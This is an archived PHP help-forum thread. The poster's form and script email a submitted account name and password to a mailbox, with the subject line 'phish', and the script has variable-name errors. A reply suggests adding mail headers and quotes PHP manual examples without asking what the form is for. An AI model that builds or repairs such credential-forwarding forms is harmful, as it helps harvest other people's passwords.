Jump to content

Help with php submit form


Bisdale

Recommended Posts

Hi, what I am trying to do is make form so I can put my password in and then it sends it to my email from wherever I am. This what I have so far. For some reason I cant make it work =(

 

index.html

<form method="post" action="SMTP.php">


Account: <input name="account" type="text"><br>
	Password: <input name="password" type="password">
	<br>
  <input name="send" type=submit>
</form>

 

here is my SMTP.php

<?

  $acc = $_REQUEST['account'] ;
  $pass = $_REQUEST['password'] ;

  $message = "Account: $account<BR>Password: $password"

  mail('[email protected]', 'phish', $message, 'From: [email protected]' );

?>

 

Can someone please showme what I am doing wrong?

Link to comment
https://forums.phpfreaks.com/topic/43927-help-with-php-submit-form/
Share on other sites

Chances are it is in the mail portion due to lack of headers and perhaps the -f command.

 

Quoting the 2 examples you should look at.

Example 1049. Sending mail with extra headers.

 

The addition of basic headers, telling the MUA the From and Reply-To addresses:

<?php

$to      = '[email protected]';

$subject = 'the subject';

$message = 'hello';

$headers = 'From: [email protected]' . "\r\n" .

  'Reply-To: [email protected]' . "\r\n" .

  'X-Mailer: PHP/' . phpversion();

 

mail($to, $subject, $message, $headers);

?>

 

Example 1050. Sending mail with an additional command line parameter.

 

The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path.

<?php

mail('[email protected]', 'the subject', 'the message', null,

  '[email protected]');

?>

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.